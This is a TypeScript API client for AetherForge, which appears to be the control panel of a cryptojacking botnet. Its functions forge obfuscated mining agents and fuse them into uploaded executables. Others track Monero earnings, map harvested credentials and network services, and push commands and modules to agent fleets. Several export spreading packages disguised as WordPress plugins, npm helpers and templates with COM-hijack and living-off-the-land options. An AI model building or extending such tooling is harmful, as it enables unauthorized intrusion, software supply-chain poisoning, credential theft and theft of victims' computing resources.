Files
AetherForge/server/web/src/api/client.ts
AetherForge 34afa28f81
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add LOTL Timeline page for live tier progression visualization.
Operators get a dedicated Onion view with 14-tier stepper, fleet progress chips, and AI decision overlay when fleet AI control is enabled.
2026-06-07 02:13:15 -07:00

519 lines
19 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
const API_BASE = '/api/v1';
/** Forge compiles (garble / universal / fusion) can run 1030+ minutes. */
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
/** Agent log refresh=1 may block until new lines arrive. */
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
function forgeTimeoutError(): Error {
return new Error(
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
'Wait longer, disable obfuscation, or forge one target at a time.',
);
}
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
const text = await res.text();
if (!res.ok) {
try {
const body = JSON.parse(text) as BuildResponse;
if (body.error) {
throw new Error(body.error);
}
} catch (e) {
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
throw e;
}
}
throw new Error(text.trim() || `Build failed (${res.status})`);
}
return JSON.parse(text) as BuildResponse;
}
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
try {
const res = await fetch(`${API_BASE}${url}`, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init.headers as Record<string, string> | undefined),
},
});
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
return await parseForgeBuildResponse(res);
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw forgeTimeoutError();
}
throw e;
} finally {
clearTimeout(timer);
}
}
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
if (callerSignal) {
callerSignal.addEventListener('abort', () => controller.abort());
}
try {
const res = await fetch(`${API_BASE}${url}`, {
...rest,
signal: controller.signal,
headers: {
'Content-Type': 'application/json',
...authHeaders(),
...(extraHeaders as Record<string, string> | undefined),
},
});
if (!res.ok) {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
}
throw e;
} finally {
clearTimeout(timer);
}
}
export const api = {
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
// Shares
getRecentShares: (limit?: number) =>
fetchJSON<Share[]>(`/shares${limit ? `?limit=${limit}` : ''}`),
// Builds
listBuilds: () => fetchJSON<BuildRecord[]>('/builds'),
// Config
getConfig: () => fetchJSON<ServerConfig>('/config'),
updateConfig: (config: Partial<ServerConfig>) =>
fetchJSON<ServerConfig>('/config', {
method: 'PUT',
body: JSON.stringify(config),
}),
// Builder
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
if (req.fusion_enabled) {
if (!prepFile) {
return Promise.reject(new Error('Fusion requires prep.exe upload'));
}
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return postForgeBuild('/builder/build', {
method: 'POST',
body: form,
});
}
return postForgeBuild('/builder/build', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(req),
});
},
estimateFusion: (req: BuildRequest, prepFile?: File | null) => {
if (!prepFile) {
return Promise.reject(new Error('Fusion requires prep.exe upload'));
}
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST',
headers: authHeaders(),
body: form,
signal: controller.signal,
})
.then(async (res) => {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
})
.catch((e) => {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
}
throw e;
})
.finally(() => clearTimeout(timer));
},
pinBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
unpinAll: () =>
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
deleteBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
setBuildPublic: (buildId: string, isPublic: boolean) =>
fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
method: 'PUT',
body: JSON.stringify({ public: isPublic }),
}),
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildArtifactUrl: (buildId: string, fileName: string) =>
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
// Blueprints (config presets)
listBlueprints: () => fetchJSON<BlueprintInfo[]>('/blueprints'),
getBlueprint: (name: string) => fetchJSON<any>(`/blueprints/${encodeURIComponent(name)}`),
saveBlueprint: (name: string, data: any) =>
fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', {
method: 'POST',
body: JSON.stringify({ name, data }),
}),
deleteBlueprint: (name: string) =>
fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
method: 'DELETE',
}),
// Health / server
healthCheck: () => fetchJSON<{ status: string }>('/health'),
getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
rotateFleetSecret: () =>
fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }),
// Fleet ops
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
testAlerts: () =>
fetchJSON<Record<string, { sent: boolean; error?: string }>>('/alerts/test', {
method: 'POST',
}),
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
getAIDecisions: (agentId?: string, limit = 50) => {
const params = new URLSearchParams();
if (agentId?.trim()) params.set('agent_id', agentId.trim());
params.set('limit', String(limit));
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
},
getAIModels: (endpoint: string) =>
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,
),
getEarningsEstimate: (hashrate: number) =>
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
sendAgentCommand: (
id: string,
action: string,
payload?: Record<string, unknown>
) =>
fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, {
method: 'POST',
body: JSON.stringify({ action, ...payload }),
}),
sendWOL: (id: string, mac?: string) =>
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
method: 'POST',
body: JSON.stringify(mac ? { mac } : {}),
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
undefined,
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
),
downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetchAuthedWithTimeout(
`${API_BASE}/agents/${id}/log?download=1`,
DOWNLOAD_TIMEOUT_MS,
);
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `agent-${id.slice(0, 8)}.log`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
},
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
method: 'PUT',
body: JSON.stringify({ notes, tags }),
}),
sendBulkCommand: (agentIds: string[], action: string) =>
fetchJSON<{ success: boolean; sent: number; failed: number; action: string; category?: string; label?: string }>('/agents/bulk-command', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
deleteAgent: (id: string) =>
fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }),
bulkDeleteAgents: (ids: string[]) =>
fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', {
method: 'POST',
body: JSON.stringify({ ids }),
}),
createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', {
method: 'POST',
body: JSON.stringify({ username, password }),
}),
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
saveFleetTask: (task: import('../types').FleetTask) =>
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
deleteFleetTask: (id: string) =>
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
getCredentialGraph: async (): Promise<import('../types/recon').CredentialGraphResponse | null> => {
try {
return await fetchJSON<import('../types/recon').CredentialGraphResponse>('/spread/credential-graph');
} catch (e) {
if (e instanceof Error && e.message.includes('404')) return null;
throw e;
}
},
getServiceGraph: async (params: {
agentId?: string;
subnet?: string;
}): Promise<import('../types/recon').ServiceGraphResponse | null> => {
const q = new URLSearchParams();
if (params.agentId) q.set('agent_id', params.agentId);
if (params.subnet) q.set('subnet', params.subnet);
const qs = q.toString();
try {
return await fetchJSON<import('../types/recon').ServiceGraphResponse>(
`/spread/service-graph${qs ? `?${qs}` : ''}`,
);
} catch (e) {
if (e instanceof Error && e.message.includes('404')) return null;
throw e;
}
},
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
policy: Record<string, unknown>;
}) =>
fetchJSON<{ success: boolean; sent?: number; failed?: number; targets?: number; push_id?: string; error?: string }>('/fleet/policy', {
method: 'PUT',
body: JSON.stringify(body),
}),
pushFleetModule: (body: { agent_ids: string[]; module: string }) =>
fetchJSON<{ success: boolean; sent?: number; failed?: number; module?: string; error?: string }>(
'/fleet/modules/push',
{ method: 'POST', body: JSON.stringify(body) },
),
// Public builds (unauthenticated — used on login page)
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
const res = await fetch(`${API_BASE}/public/builds`);
if (!res.ok) throw new Error(`Public builds ${res.status}`);
return res.json();
},
// Emberwake
getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
putEmberwakeNotes: (content: string) =>
fetchJSON<EmberwakeNotes>('/emberwake/notes', {
method: 'PUT',
body: JSON.stringify({ content }),
}),
listCampaignHits: () =>
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
getWarRoom: (days = 7) =>
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
a.click();
URL.revokeObjectURL(url);
},
exportWordPressPlugin: async (req: {
build_id: string;
server_url: string;
campaign: string;
site_name: string;
}) => {
const res = await fetch(`${API_BASE}/builder/wordpress-plugin-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-wordpress-plugin.zip`;
a.click();
URL.revokeObjectURL(url);
},
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/npm-helper-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-npm-helper.zip`;
a.click();
URL.revokeObjectURL(url);
},
exportSpreadTemplate: async (req: {
template: string;
server_url: string;
build_id?: string;
campaign?: string;
com_hijack?: boolean;
lotl_mode?: string;
agent_path?: string;
}) => {
const res = await fetch(`${API_BASE}/builder/spread-template-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds }),
}),
getTraceStatus: (id: string) =>
fetchJSON<{
session_id: string;
ready: boolean;
error?: string;
hops: PathTraceHop[];
service_graph?: ServiceGraphHost[];
discover_in_progress?: boolean;
discover_error?: string;
discovered_at?: string;
}>(`/pathtrace/${id}/status`),
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
fetchJSON<{
ok: boolean;
session_id: string;
error?: string;
service_graph?: ServiceGraphHost[];
discovered_at?: string;
}>('/pathtrace/discover', {
method: 'POST',
body: JSON.stringify({ session_id: sessionId, max_hosts: maxHosts }),
}),
getTraceQR: (id: string) =>
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
deleteTrace: (id: string) =>
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
// Cancel an in-progress forge build by its cancel token.
cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
method: 'GET',
});
if (!res.ok) {
const err = await res.text();
throw new Error(`Backup failed ${res.status}: ${err}`);
}
const blob = await res.blob();
const disposition = res.headers.get('Content-Disposition') ?? '';
const match = disposition.match(/filename="([^"]+)"/);
const filename = match ? match[1] : 'aetherforge-backup.zip';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
a.click();
URL.revokeObjectURL(url);
},
};